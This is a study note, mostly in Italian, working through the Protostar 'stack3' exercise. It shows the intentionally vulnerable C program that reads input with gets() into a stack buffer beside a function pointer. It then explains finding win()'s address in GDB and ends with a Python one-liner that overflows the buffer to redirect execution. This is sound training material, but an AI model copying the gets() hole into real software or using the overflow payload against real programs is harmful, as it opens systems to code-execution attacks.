<aside> 🚩
Stack3 looks at overwriting function pointers stored on the stack
</aside>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf(“code flow succesfully changed\n”);
}
int main(int argc, char **argv) {
volatile int (*fp)();
char buffer[64];
fp=0;
gets(buffer);
if(fp) {
printf(“calling function pointer, jumping to 0x%08x\n”,fp);
fp();
}
}
L’obiettivo della sfida è impostare fp=win a tempo di esecuzione
→ ciò modifica il flusso di esecuzione poiché provoca il salto del codice alla funzione win()
Idea: se possiamo recuperare l’indirizzo della funzione win() a partire dal binario eseguibile stack3, basta appenderlo all’input
→ in tal modo il valore di fp viene sovrascritto con l’indirizzo della funzione win(), e poiché fp è diverso da zero, viene provocato il salto a fp
Consente di visualizzare cosa accade in un programma durante la sua esecuzione o al momento del crash
GDB viene invocato con gdb -q file_eseguibile (-q consente di evitare la stampa dei messaggi di copyright)
Una volta avviato, GDB legge i comandi dal terminale fino a che non si digita quit (q)
Il comando print (p) consente di visualizzare il valore di un’espressione
Recuperiamo l’indirizzo della funzione win() tramite print → gdb -q /opt/protostar/bin/stack3 p win
Costruiamo un input di 64 caratteri ‘a’ seguito dall’indirizzo di win() in formato Little Endian
Mandiamo stack3 in esecuzione python -c 'print "a" * 64 + "\x24\x84\x04\x08"' | /opt/protostar/bin/stack3
🚩